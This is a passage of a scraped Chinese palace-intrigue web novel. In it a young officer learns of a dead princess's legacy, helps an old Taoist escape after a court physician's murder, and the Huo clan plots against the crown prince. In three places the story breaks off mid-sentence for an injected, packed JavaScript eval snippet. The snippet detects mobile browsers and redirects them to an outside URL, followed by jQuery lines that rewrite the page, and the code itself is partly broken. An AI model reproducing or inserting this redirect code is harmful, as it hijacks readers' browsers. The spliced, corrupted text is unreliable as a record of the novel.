梁国叹息:“因为今天也是陈皇后的祭日。想当年皇后生产,一连四胎都顺顺当当的,就在生燕王的时候出血不止,小孩保住了大人来不及,就去了。” 她伸手轻抚张永一的眉眼,“生产就是阎王殿前走一遭,你母亲生你时也遭了大罪,此后调养了好几年,皇后一连生五个,长平公主与燕王殿下相差不过一岁,终究是伤了根本没挺过来……” 张永一只缄口,不知如何接话。 索性,经往事一点,记忆的陈卷被燃破了一个口子,就此轰轰烈烈的烧了起来,梁国不需他的回应,也能自顾自说下去:“今天,好像也是她的祭日……那年陛下才登基,百废俱兴,那次拖到新年第一天的岁末宫宴的意义就更加紧要,她便……她便病倒在了梅园里。络儿,你既去了东宫,便见过那梅园了,就在那里,冰天雪地里,她便去了……” “她是谁?” 梁国按去眼角的泪光,“我的十姐姐,就是辅国啊,她出降时受封兖国公主,后来先帝病危,陛下是孝子,要在先帝床前侍奉汤药,便将监国大权交给了她。她还是太累了,哪怕有柳先生他们帮着,她还是太累了,又要扫除逆党,还要操持陛下的登基祭祀、选后娶妃事宜,前朝后宫哪处都离不开她。恰好那时,她的驸马郇侯暴毙——” 想起在仪銮殿上对襄阳侯未得解答的好奇,张永一试探问:“暴毙?是有什么隐情吗?” “逆党报复,真是不虞之灾。我记得那天,郇侯刚好应诏入宫,结果还没过启明门就被奸人刺杀——那份为他弟弟郇翾请封世子的奏疏便成了他的绝笔。” 梁国再叹:“他们两个少年携手,经风历雨,正是雨过天晴之时……” 张永一垂首。 这是怎样毁天灭地的一场打击。 “陈皇后是前礼部尚书陈阵的孙女,是兖国牵的线,经内阁一致同意立为皇后。那么多年里,除了一个从未得宠的郭贵妃,整个后宫里就只有陈皇后一个,后来有了霍夫人,但帝后之情无与伦比。在同样的一天里,失去这样两个最重要的人,陛下……” 张永一心一紧。 莫非这就是沈斫痛苦的根源。 莫须有。 确实是莫须有的苦痛。 陛下这么爱陈皇后,这么宠爱皇后的儿女,长女适襄阳侯世子,二子据东宫,三子为心肝,四女恣意不婚配,独独对幺儿严苛至此。他观沈斫其人,身姿端正、雅量非凡,文武双全、六艺俱通,性情温和宽顺、聪敏歧嶷,怎么看也不是会令君父厌恶如狼鼠、远避如蛇蝎的少年。 不应该,陛下不该是如此刻薄寡恩的人。 张永一胡乱扯出一点便追问:“孙儿听说霍夫人的儿子陈王晋封兖王,还有十个多月满十四岁,这些是怎么回事?” 梁国三叹:“多么巧的一个巧合,陈王生于十月二十五,那天正是兖国的生辰,不过以前兖国就不爱过生辰。唉,陈王从小就得陛下喜爱,常常把他带在身边亲自教养,陈王善作文,才思敏捷,这更得陛下的心意。他与燕王差不了几岁,这一对比,亲疏爱恶便更加刺眼。朝中都说,陛下破了陈规晋陈王为兖王,其实是想将陈王留在身边,一破再破,不让陈王年幼就蕃……” 张永一的心猛然下坠。 他立即明白了沈磐的愤怒。 他一张口,缓了许久才听见自己声音里的酸涩:“兖国——不,是辅国长公主,她和陛下的姐弟情谊很深吗?” “是啊”,梁国脸上的笑容有了那么一点的欣慰,却添了更多的讳莫如深,她避开反问:“在宫里有见到襄阳侯吗?” “嗯,见到了,还在启明门见到了郇世子,他们父子长得几乎一模一样。” 梁国笑叹:“那是他的幺儿郇昇,是元辅冉先生的门生,在皇城兵马司做事,比他哥哥世子郇渰生得更像襄阳侯。襄阳侯夫妇育有三个孩子,世子尚的是陛下最宠爱的晋国公主,排在中间的是个女儿郇萦,非常欢脱的小姑娘,跟着她的姑姑常年在外游山玩水、并不在京。” “是襄阳侯的亲妹妹?” “那是自然,他们两个是龙凤胎。兖国走后,将公主府留给了小姑郇旒,她在族中排行第八,所以都喊她八娘。她无心嫁人,很早就想着要出去逛逛山河,襄阳侯也不约束她,她便带着兖国留下来的婢女月珰、夏至等一并出京,前些年兖国身边的老人接连去世,八娘就留在了苏州,郇萦也不喜欢拘束,襄阳侯就将女儿送到了妹妹身边作伴。” 说着,梁国更加艳羡:“唉,兖国是少见的洒落开明之人,也是可以为了是非对错义无反顾的人,我比不上她,也学不了她。你问她和陛下的感情?那自然比至亲的亲姐弟还要亲近。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887827|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我记得那时南海道叛乱,宗室亲王各自推诿,我的九哥秦王为了逃避,不惜摔断自己的腿……唉,最后就是兖国带着十二三岁的陛下挺身而出,荡平内乱、巩固海防。那时我就在想,我这个十姐姐简直不像个女人。后来,大楚与义律议和,我差点就要去和亲,彼时我已经怀了你父亲——” 见张永一微讶,梁国不禁泪涌:“络儿,你也觉得未婚先孕,或者说,为了不和亲而与你祖父私相授受很——” “不,祖母……” 梁国不想听他的安慰虚言,勉强地笑了笑,真实道:“络儿,祖母是个胆小畏事的人。那时候,我很害怕,害怕你祖父敢做不敢当,又害怕腹中孩儿不争气,更害怕父皇会处置我。那时,所有人都看着我的笑话,或者都想看我的下场,只有兖国,只有她替我说话。她正是因为替我说话,遭了逆王的为难。后来我的母妃病重,所有人都盼着她死,也只有兖国替我请孙太医悉心照看……再后来我见她一步步登顶,那从来都是女子禁忌的承天殿也去了,还在陛下登基那日,带着我们一起翟衣在身,上承天殿。我只觉得,说她不像女子像个男子便像在羞辱她,男人能做的她都做了,男人不能做的她也做了,她所作所为无关性别……我敬佩她,越敬佩她,越觉自己的懦弱无能。” 她将张永一的手捧到掌心,“络儿,从前我一直想把你父亲培养成这个样子,然后我后悔了——络儿,祖母是个胆小鬼……” 张永一想为她拭泪,手却不忍脱开她的掌心。 “络儿,祖母求你,不要抛下祖母……” 张永一忍不住自己泪意,将自己的脸埋在梁国瘦弱的肩膀。 这肩膀是如此弱不禁风,却让人有泰山在旁的安稳感。 “祖母,络儿不走,络儿绝不会抛下祖母,祖母也不要抛弃络儿。” “络儿,人死如灯灭,祖母会死的……” “祖母会长命百岁。” 张永一听不见梁国哭泣里,那几不可闻的叹息。 ** 过了岁末宫宴,第二天一大早张绰就来梁国公主府接张永一回张家老宅。张永一在公主府长大,对张家老宅的记忆只停留于那座威严的祠堂。不点灯时,这里是棺材,点了灯,这里又是炼狱。张永一从小就不喜欢这个压抑的地方,可这么多年过去了,他对张家族人的印象却只剩下了这处等级森严的祠堂。 在叔伯口中了解族兄族弟此后的命运后,他只想逃命似的逃出这个连口气都喘不上的囚笼。 可梁国公主府未必不是另一个牢笼。 但此地和彼地还是有区别的。 张永一回来的时候已经过午,听门房说他回来得不巧,元良郡王带着他的一对公子刚从正门离开,他们走的也不是同一条路,这便彻底错过。 听祖母说,元良郡王与父亲是从小嬉戏的“过命”交情。“从小”容易解释,他父亲还被抱在手中不会说话时就和元良认识了;“嬉戏”说起来也容易,就是一起从后院卧房玩闹至前堂书院的那种正经的嬉戏;“交情”说来也简单,有些感情的往来、事物的交换、经历的分担,这便是交情。 但“过命”十分特别。 据说是升平朝一次逆王宫变,年幼的元良郡王和他年幼的父亲因为都想看一对养在西宫的鹦鹉,因此他们都早早离开了被逆王包围埋伏的千秋阁,于是逃出生天。 原来是鹦鹉之交。 张永一现在还记得这对鹦鹉,一只叫“红胜火”,一只叫“绿如蓝”。不过后来从未听说过元良郡王再养几只鹦鹉追忆过去,据说是和这对鹦鹉的死因有关,但关于死因,众人讳莫如深。 元良来访,这本该是极其高兴的事情。 可张永一行至正房,却见院中人神情凝重,似有不好的事情发生。 “祖母?元良郡王来过了?” 梁国勉强应道:“是,还给你带了礼物,你瞧瞧,是张弓,还有一管笔。” 张永一一见那张弓就诺不开眼,一碰就爱不释手,但他还记得气氛的诡变,就边欣赏着手中弓边问着心中事:“祖母,是发生什么事情了吗?孙儿总觉得祖母今天的笑容不似从前松快。” 7. 第七章 永夜灯(二) 梁国长叹:“家中无事,是宫里。” 张永一搀扶梁国下地踱步,“宫里?与燕王殿下有关?” 梁国叹气:“无关,是鲁国大长公主喜丧,你元良王叔说,宫里讨论着要给大长公主的曾孙张吉鹊荫一个爵,又想将他放到朱雀卫里做事。他今年不过十四岁,父亲张平涯是临川郡主的爱子,现任东都兵马司指挥副使,张吉鹊要入十二卫,估计也能得一个千户。” 张永一虽是武官,但俗为文官独有的细腻心思一点不缺,他如何听不出祖母话中的不满,自己刀枪火海里才挣出一个千户之位,十四岁的张吉鹊却易如反掌。 不过,他刚要开口,梁国又抢着道:“其实我们两家也是沾亲带故的,祖上都是一支,不过后来分家,一边走了文道、一边去闯武途,时间一久便少了往来。后面到张平涯父辈一代,他们张家迎娶郡主,郡主又和兖国亲近,兖国嫁了郇海山,郇海山是赵王臂膀,咱们就更少与之往来。” 能岔开话题,张永一求之不得,他连忙接话:“今天在老宅,孙儿见到了襄阳侯张夫人。” “玫柔?”梁国笑,“是啊,她也是本家的,升平年间他父亲张长龄不过兵部五品郎中,与襄阳侯府的门第是天上地下,后来还是兖国替襄阳侯登门说亲、成就了这桩良缘。” 张永一笑着应和,刚起了念头要将这个危险的话头岔过,就被梁国抓了现形,“络儿,你真该考虑考虑成家了。” “嗯。” 见孙儿应得如此乖巧,梁国先前因为世态炎凉而伤感的心顿时服帖,可这个窟窿补上了,还有别的窟窿恭候已久,“络儿,祖母也不期望你尚主,高门贵女也不必,只需要有一个知冷知热的人照顾你,祖母这才安心。以后你大概也会留在兵部,不留兵部大概就去皇城兵马司,十二卫或也可试试,到时候祖母进宫亲自向陛下讨一个恩情,不让你陷入这样那样的纷争,平安度日便可。” “祖母,功名之事,让孙儿自己去博。” 梁国扣着他的手,轻轻摇头,“你还太年轻了,三句不离燕王,心里想什么都写在脸上,旁人一目了然,这很不好。” 张永一微讶。 “裘衣藏针之事陛下不去追究,但不代表就没有暗涌。你元良王叔也和我说了,宫里的军卫们也行起党同伐异之事,搞得化隆乌烟瘴气,不是个安生地。若放在以前,陈皇后还在抑或是柳先生还在,怎会有这些事?可现在陛下宠爱陈王,太宠爱陈王了,朝中尽是霍氏同党,东宫虽立,可夺储意浓。” 梁国双目含忧,“络儿,你若和燕王走得太近,恐祸及自身!祖母知道你与他是同袍之谊、生死之交,但神仙斗法、蝼蚁遭殃。祖母不愿我的孙儿是个无情无义的人,但也不想见你因为重情重义而断送性命!” 张永一斟酌片刻,“陛下文韬武略,虽然加封霍夫人之子为陈王,又要晋封兖王,以示无上荣宠,但陛下心明眼亮,对幼子的宠爱断然不会越过长幼有序的规矩。况且,‘陈’并非佳号,又非食邑富饶之地,陈王自幼受宠,陛下如何会拟‘陈’为封号?三国时,曹魏公子、陈王子建,也曾是魏武帝的心头肉,而魏文帝,武帝曾言‘吾之不幸,尔曹之大幸’,厌恶打压至极,立嗣风波也惊涛骇浪——” “络儿,陛下不是曹操,太子或者燕王也不是曹丕,此陈王更非彼陈王!” 梁国情绪激动起来,“祖母是亲眼见过什么是夺储之争你死我活!所以祖母最怕你沾上这些,好在这些事与咱家无关,那就连边也不要沾!祖母真的害怕,害怕你有什么三长两短……” 张永一搂住已经站不住的梁国长公主,“祖母,不会有事的。” ** “公子!公子!” 张永一正溺于一梦生死难求,突然被人摇醒,如重见天日,不禁舒了一大口浊气。可一睁眼,就着昏暗只有月光的视线一看,入目的居然是一张鬼脸。 “啊!” 张永一“噌”地从枕头下拔出匕首,冰凉的月光经刀锋折射,寒意更胜,等那寒光射到了这张鬼脸上,又打回自己的瞳孔,他这才看见这突然闯入自己卧房的丧鬼居然是崖然老头。 “是你?”张永一松了一口气,便将架在此人脖颈间骇人的匕首收入鞘中。 崖然本着急说话,看见张永一顺手将匕首重又藏入枕头底下,不禁多嘴:“惶恐终日、久思多虑,不是长久兆。” 张永一掀开被褥坐起,又舒一口气,边摸索了点灯边解释:“在军中,不得不防备。” “这里不是军营,是公子的家。” 一点豆大的火苗从灯芯处畏缩地蹿出,可播散的光足以将整个小而温馨的里间照亮。 “习惯了。” “要改。” 张永一披了衣裳,“改不了。” 里间只有一张凳,崖然毫不客气捡来坐下,“不改就是一条死路。” 张永一系衣带的手一顿,迎着灯光看向崖然。 “我说的是长公主——”他歪着脖子,眼珠子在张永一身上一溜,“也是你。” 张永一穿好外衣,坐回床边,“出什么事情了吗?大半夜的。” 崖然却不慌不忙继续道:“你其实也没有长公主那么严重,睡得这么沉,让老道摇人摇得半条命都摇掉了。” “是祖母出事了?” 崖然摇头:“老道我给长公主开的安神药,不睡足睡饱是决计不会醒的。你也是,看着傻愣愣没心眼,稀里糊涂将我这个来路不明的老巫头带回家,还敢让陌生人给你家人开药治病……唉,年纪轻轻的,又是个兵鲁子,下了战场,本该没有这么多忧虑……你得当心了,早早将心结解开,不然影响终身。” 他本想说“我没什么心结”,最后还是颔首领教。 见他这副顺从谦卑的模样,崖然的气叹得更多:“其实老道年轻的时候,也没有这么啰嗦,到底是上了年纪……好吧,我直说,公子,老道想要早早离开化隆,越早越好。” 张永一连疑心都来不及起,崖然便正色道:“公子,老道真是怕,怕极了。” 他神色不似作假。 “老道做了个梦,梦见……”崖然长叹,“好吧,公子,老道确实瞒了你很多事,现在都与你讲也无妨,你得听仔细了。” 张永一心感不祥。 果然,崖然一开口,就是森森陈腐气:“老道有个徒侄,正是前几天无端暴毙的孙太医。” “你是小年轻,升平年间的事情你很多都不了解,不过你听说过辅国长公主吧?” 张永一呼吸一窒。 又是辅国长公主。 说起往事,崖然鲜见伤感:“老道从前在西南制毒贩毒,助纣为虐,真是扒皮下油锅一千遍都赎不了罪;后来被国主感化收留,哦,就是辅国长公主,跟着国主又遇见了吾师、见了徒侄,老道便发誓要洗心革面、为自己赎罪。三日前——” 崖然拧一把眼泪,“三日前,我的徒侄去城外二水间给窦宇将军治病,回来时顺便去了双塔寺,给国主上香。莫名其妙的,他摔入了后山一大水坑,发了高烧,被同行的锦麟卫送回家后,老道从辅国府出来,去照顾他,但没一会儿,他就咽气了。” 他枯坐在板凳上,像座被恶意拔光绿意的荒丘。 过了许久,崖然才哭着道:“他是哑巴,拼着最后的力气写了两个字……” 他的哭声像静夜风嘶狐啼,这样的悚然和凄凉里,他咬牙哭咽:“是‘陛下’——” “是陛下要杀他!” “他从岭南的荒山救下国主,国主将他托付给陛下,他向陛下献出了所有!” “陛下却要杀他!” “居然是陛下要杀了他!” “他是那么忠贞的人,陛下有什么皇室秘辛不能为外人所知,他是哑巴!陛下为什么要杀了他!” “公子!老道怕!怕那些锦麟卫找上门来!老道怕死,还怕拖累了公子!老道给长公主诊脉,明白长公主是不会放你走的,公子又是忠孝之人,也不会弃祖母于不顾。可是公子,这个化隆,这处炼狱,老道是一会儿也呆不得了!” “公子!求公子送老道走!” 屋外应又下起了飒飒雪。 冷夜沉沉,四壁寂寥,只余崖然的哭声。 张永一沉默许久,这才轻声应道:“好,我有一个法子,但成不成看你。” “公子但说。” 张永一摸黑走出里间,再回来时手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887828|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上端着笔墨纸砚。 “皇后第五子封燕王,在宁远抗击长桫之战里受了伤,后来又在冰天雪地里跪伤了腿。他暂定初七便出发北上,届时你可充作医士兵卒随行。不过,得有投名状。” 崖然抹了脸,一手执笔一手研墨,“公子但述燕王病症。” 砚台中的墨早冻成一块。 ** 张绰曾听长缨卫当值的故友透露,长宁公主会在初三日离宫,转往宁安侯府拜见大儒宁晨铎。张永一这便知道了,但他对化隆的街道巷里不熟,老早就摸索出门,结果区区宁安侯府扬鞭即是,他就只能在宁安侯府附近的长街里晃荡。 升平末年,因逆王谋乱而被清算牵连者数十家,宁安侯府也不例外。彼时此宅还叫宁国公府,横贯长街东西,广梁大门,金漆、兽面、锡环,处处写尽“高门大户”四字巍峨。而今削公为侯,年中清晨,虽有些凄凉却也不显破败。 张永一提前问过长公主府中的老人,知道此时当家的宁安侯宁德元是菁明书院大儒宁晨铎的侄子,叔侄两个关系亲密。他父亲少年时曾也在菁明书院听过宁晨铎的教诲,若一会儿公主来了没拦住,他厚着脸皮登堂入室拜见“师祖”,倒也勉强说得过去。 他正想着,长平公主的车架就来了,也果不其然,他怎么拦得住长平公主,宁安侯亲自出门迎接,便是宁晨铎,居然也在二门恭候。 张永一不得不顶着沈磐质疑的目光,硬着头皮迈进了宁安侯府的门槛。好在,宁晨铎贴心替他解围,主动承了他们这番萍水相逢的陌生“师门祖孙”之情。 一路沉默地跟着沈磐一起走到茶室,还没进门,沈磐忽然止步,在宁晨铎率先进门后堵住张永一。 张永一一惊,烙铁般滚在脚下的视线这才抬了起来,一掠而过,将沈磐今日装束一览无余。她似是特别喜欢桃红色,鲁国长公主喜丧,她便只着了一身浅淡的绯红,却如同胜日天边被朝霞映红的云彩。不过张永一没心思去看她的衣裳妆容,只在与之目光相触的刹那,那夜东宫廊下的情状便不请自来,脑中顿时一片地崩山摧。 身上像被谁点了火,突然就热了起来。 张永一不自主地后退半步。 沈磐皱眉,低声询道:“张千户今日找本宫有何贵干?总不会也是来拜见与你毫不相熟的宁先生吧?” 张永一垂下视线,喉头一涩,斟酌着字句刚要开口辩解,就见低落的目光之中,沈磐的裙摆一扬,已然踏着缂花登云履迈入了茶室。 与其说这是一间茶室,不如说是琴房。入目琴台上就摆着一把连珠式桐木琴,台后墙壁上还挂着一把,虽用布蒙着,却看得出是最简洁的正合式。左厢镂空屏风后还摆了一把,也用布蒙着,看不出形制。 宁晨铎与两人让过主次,自己坐在了琴后,沈磐不讲虚礼直接跪坐在他琴前,张永一便在琴尾处,半对着沈磐坐了下来。 甫一坐定,沈磐便道:“先生,斫儿因为腿脚不便,只能央我前来向先生致歉,先生有什么话、有什么东西皆可交予我,我必然转达。” 扫了一眼不自然的张永一,见沈磐一点也没有不自然的局促,宁晨铎便开口叹道:“其实也没什么,只是近年臣身体越发衰败,恐时日无多。臣又常年不见燕王殿下,一念及殿下当年在书院勤恳求学,备感思念,这才斗胆递信东宫,想在狐死首丘前在与燕王殿下见上一面、寥叙师生之情。” 沈磐还没开口,这劝慰的心思便写满了脸上,宁晨铎笑道:“燕王殿下年轻,但几年前,他身上已然不多见年少意气,现今自宁远凯旋而归,更沉如深渊、稳如泰山。不过他到底还是少年人,少年人还是需要一些朝气,公主与燕王姐弟情深,公主多多劝慰,想来燕王殿下会听的。” 沈磐不自主叹息,“先生是斫儿极其敬重的恩师,有些话先生来说,或比我这个姐姐有用。” 宁晨铎笑着摇头,习惯性地一压手指便要按弦。 见状,沈磐微笑:“久不闻先生抚琴,父皇都在念叨,不知今日,我与张千户是否有幸能暂赏仙乐?” “公主想听什么曲子?” 沈磐放眼四壁,目光透过镂空屏风落在了那架被盖住的琴上。 “先生随意。” 8. 第八章 永夜灯(三) 宁晨铎也看去,“那便来一曲《暗室逢灯》。” “是何人所谱?” “臣故友祝遗温所作。” 沈磐若有所想,“前朝阎文忠公二次南巡,北上途径苏州曾有‘逢花不折’的美谈,这趣闻里的‘花’就是一位名叫‘朱遗温’的琴师的徒弟,只是不知这位‘朱遗温’与先生的旧友可有什么关系?” 宁晨铎拨弦,“他们是同一人。” 琴歌已起,气脉通畅,断无中道叫停的道理,沈磐安坐,与张永一静赏此曲中意。 暗室逢灯,绝渡逢舟,多么值得高兴的场景。 沈磐心思不巧,于琴上更了然无意,但宁晨铎的怅然惋惜意直如水上风过、天中云熄,便是张永一这样的行伍之人都听得五内俱撼,何况沈磐。 宁晨铎按灭余音,“因为一些往事,他改姓自保。” ** “说吧,你究竟有什么事情。” 行至马车旁,张永一这才小心地将怀中信笺交到沈磐手上。 这封信沾着张永一的体温,还是热的。 “何意?” “劳公主将此信转呈给太子,性命攸关,臣恳求公主相助。” 说不上来是什么滋味,沈磐手上多了件东西,心里却少了点什么。 “好,若有回复,自有长缨卫找你。” 说罢,沈磐便褰裙上车,等她已要弓身走入车厢,就见自己的右手还搭在张永一掌上。他的手掌阔大而温暖,生着各种茧,摩挲过时只觉得又硬又劲,像是一粒石子膈在她缠紧的腰带里,让人很不舒服。 她连忙抽手,他也连忙低头。 张永一揖礼:“恭送殿下。” ** 劳碌的日子总过得很快,张永一自宁安侯府回来,就被长公主催着各处拜年。这就是家族庞大的坏处了,直到初五戌正之时,张永一还跟着堂兄张绰在化隆街头缓辔骑马,从上家叔伯处赶场子般赶往张家祖宅。 身旁没有长辈约束,张绰终于逮住这闲散时刻,轻声询问起还在神游的张永一:“永一,我听说昨日东宫派了长缨卫到诸位宗亲府上赐礼,头一个就去的公主府,那太子可说什么别的话?” 张永一回神:“没什么,就是寻常的岁贺赐福。堂兄可还在担心裘衣藏针之案?” “虽然没有牵连上咱家,可我思来想去,还是不能彻底放心。” 张永一说不出安慰的言语,因为他心里也横梗此事难以化解。其实昨日长缨卫主要目的是带走崖然。太子已然知道锦麟卫谋害了孙太医,但长缨卫传来的密信上说,太子也认为是因陛下忌惮孙太医掌握皇家宫闱秘事过多,又或者近来因为什么缘故触怒龙颜,陛下这才动了杀心,是不慎漏出了帝王刻薄,太子身为人子,不敢忤逆君父,但可尽力补偿。 张永一不自主叹气。 “怎么了永一?有什么烦心事?” 张永一摇头。 崖然平安抵达东宫,即刻给燕王调理起来,这是件勉强值得高兴的事。 可这样的喜悦,只能他一人独占。 张永一轻笑。 总归是好事。 “快走吧,起风了。” 张绰刚这么说,巷子另一头拐角处也有个男人这么劝了:“爷,起风了,咱们赶紧回去吧,老爷明天就要出发去长安废都,这些乐子以后再回味也不迟。” 张永一和张绰都翘首望去。就见一人牵着绳,一人大摇大摆坐在马上摇头晃脑,天色暗,周围只有那牵马仆人手中一盏风灯忽闪忽闪,他们看不清这一对主仆的面容,但声音听得格外响亮。 那男人笑道:“不急不急,爷刚卸了浊气,正要迎风纾发。” “嘿嘿,小的没骗您吧,这处零碎嫁的滋味果真不俗吧?” 那男人回味片刻,大着舌头赞:“怎能用不俗来评价?当是天上地下绝无仅有的妙!我道从前曹魏爱人妻,原来要的都是这些个味道,古人诚不欺我!” 两个人俱是大笑。 张永一没听明白他们的意思,但大致知道这也是种特殊的灯红酒绿,便没有多问张绰,兄弟两个沉默地放马,刚要与这两人擦身而过,又听那仆人提起:“这家真是,我瞧了这太太身边的丫头也个个销魂可怜得很,给了点银子就半推半就极尽销魂能事……” 那个主人大笑:“哈哈,山风你自个儿也是假公济私,便宜你自己来了。” “爷您这说的什么话,小的陪爷出来,不就是要找人把爷伺候好了的吗?”仆人打了一个喷嚏,主仆两个都大笑起来。 “官大了就是不好啊,礼部的,就贪那么点供科场布置的破银子,结果就给法办了,病死刑部狱,一家上下妻女零落无养。啧啧,这隔壁长缨卫就不一样啊——” “怎么了?长缨卫的舌根可不是你能嚼的。” “是是是!” 张氏兄弟本已经要拐出暗巷,忽听这主仆二人扯上了长缨卫,张绰连忙勒马,张永一也连忙控缰谛听。 他们的聊天声已经很轻了,但四下万籁俱寂,张永一还是听得清清楚楚:“小的只是听说,这家人隔壁住了个长缨卫,年前就暴毙死了,结果户没销,银钱照发不误!爷您说奇不奇怪。” “这必然是给人顶替了呢,但没想到这人还算有点良心……” 张绰见张永一神色凝重,轻声解释:“冒名顶替,常有的事,柳文正公主持朝政时曾清理过一波积户冒户,但这都多少年过去了,内阁里谁又能强干得过柳先生?大多要向时局低头、向权贵让步,这些积习恶习就又长了起来。” 想了想,张绰又道:“不过这种冒名顶替我从未见过,分一点本就不属于自己的轶禄奉养被顶替之人的妻女,这种被人告发的风险,可没几个‘有良心’的人担负得起。” ** 翌日清晨,鸡叫三声,霍开武一睁开眼睛,猛然想到了冒名顶替的关节,一掀开被褥,被冻得哆哆嗦嗦也够不上洗漱,套了裘衣抹了把脸,撞翻了报时伺候的婢女,丧鬼似地扎出房门。 霍府上下都收拾齐整,叔伯兄弟一大堆堵在正堂,闹哄哄的,又衣冠整齐、谈吐非凡。 霍开武一眼就看见自家老子坐在中央,顿时捡回了昨夜被娇娇们弄丢的三魂七魄,脚下抹油,赶忙又冲回了卧房收拾脸面。 要是被老子知道他昨夜逛了暗门子,今早还这么衣冠不整不知礼数地到大庭广众下丢脸,准要揍他。且他们赶着要回长安废都老家,老子气急了将他一起提溜回去到广大宗亲面前鞭笞也说不定。 等霍开武火急火燎地又赶了过来,正堂里的霍氏宗亲已经散了大半,只有自己的小叔霍轶与老子霍辄搭话。 霍辄的左眼,是早年当马前卒在战场上被方台人射瞎的。 人说,眼睛可以用来传情达意。霍辄的左眼没了,自然半分人情也留不住,但保住的右眼常年也犀利刻薄得情池干涸。今日或许是节庆离别的缘故,霍开武少见自家老子的右眼里没有憎恶痛恨,那种有些期待、有些赞肯的温和让人心惊肉跳。 “爹,小叔。” “你脸够大,让满堂叔伯等你一个人?” 霍开武夹紧下巴,垂手往霍轶处站了站。 “大哥,别说这些了,你不是有很多话要和阿武讲吗?” 霍轶起身将霍开武拉到霍辄眼前,“你这一去长安得有一整个月,一整个月见不到阿武,你不赶紧在离别前多说几句好话?” 霍辄上上下下打量着儿子,“我和他有什么好话可说。” “嗐,你爹面冷心热,舍不得得很。” “你住嘴。” 霍轶不管霍辄的呵斥,拉着霍开武就笑:“阿武都长大了,你从前那种耍娃似的养儿子法不成了,你得把他当个男人看,你得放手,让他自己去闯闯看,怎么能呼来喝去还当他是黄口小儿?” 霍辄横了他们叔侄一眼。 外头老管家喊了一声,说是到时辰该准备出门。 霍轶应声出了正堂处理亲族间的人情往来,留霍辄和霍开武这对向来不对头的父子相顾无言。 或许是今天早上父子之间的气氛罕见亲近,霍开武便大着胆子拦了一拦,“爹,儿子有一事要禀告。” 霍辄显见地耐下心,静静等儿子说话。 霍开武备受鼓舞,清晰道:“儿子昨天听手下人说,长缨卫里出了冒名顶替的乱象——” 他这句话没说完,霍辄就抬手止住他的话头,“东宫的事情你别管。” 见霍辄抬腿要走,霍开武不知是猪油蒙了心还是心里本就吃满了猪油,破天荒边追边劝起了他从来一言九鼎不肯转移的父亲,“爹!这是个好机会啊!现在新春伊始,开过年陛下肯定要重整朝野,礴儿马上就要十四了——” 霍辄倏然止步。 三折雕花门外的天光打在他的脸上,投入他炯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887829|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炯有神的右眼,其中的冷意直让霍开武怕得又巽懦地低下头。 “我说了,东宫的小事别管,连带着和东宫有关的所有事都别管!” 霍开武几乎就要答应了,再一次向父亲的权威低头,可他不甘心,尤其是方才霍辄分明应允了要将自己当个男人看待,要让自己去闯,现在却还要用规矩礼数将自己束缚得寸步难行像个龟孙! 他霍然抬头大声道:“爹!这是小事,却也能是扳倒东宫的绝好机会!小事也可以掀起大浪!” 霍辄的额头暴出青筋。 霍轶就是在这时候去而复返的,他一见霍辄动怒,将被阴影死死笼罩的霍开武拉到身边,苦口婆心,“怎么了又怎么了?大过年的好时候,怎么能生气?大哥,快些吧,车马都在等了。” 霍辄临走,狠狠瞪了霍开武一眼。 霍轶手肘捅他一下,“你小子,又闹什么事了?你爹难得这么高兴,刚要把亲卫的权分点给你,这事儿还没彻底定下来,你就来这一出?” 见霍开武委屈巴巴,霍轶又气又笑:“忍忍怎么了?你爹的脾气你难道不清楚?把你老子哄高兴了,这才有甜头!” “叔!” 霍轶拖着年轻人走了出去,跟着亲友一同欢送霍辄西还长安故里。 “我不管什么事儿,都给我笑,别让你爹回乡路上心里还堵得慌。” 听小叔咬牙切齿,霍开武只能扯出一个既勉强又丧气的笑。 等霍辄的车马彻底消失在霍府前的长巷,霍轶这才悠悠问:“说吧,到底怎么了?” “小叔,长缨卫里有人搞冒名顶替那一套!” 霍轶皱眉。 霍开武激动地拉着他,“这是绝好的机会!咱们不是一直苦于找不到东宫的把柄吗?这次哪怕东宫不知情,也能借机卸了长缨卫的胳膊,且礴儿马上十四岁,去留不定,不在这时给东宫点颜色,让他们不敢向礴儿下手,满朝文武还晕头转向不知好歹……” “阿武。” 霍轶的声音又像一盆冷水浇了下来。 “你爹绝对不会答应的。” “叔!这是为什么!爹也要放弃了吗?就一个兖王的封号,就这么轻易把他打发了?” 霍轶扯住要闹上天的霍开武,“这件事你别管,听话。你爹是为了你好,有些事情你不清楚,就莫要随意插手,总归听你爹的话不会害了你。你若真的在意,我去查,你别管!” ** 隆冬夜深,黎明初晨。 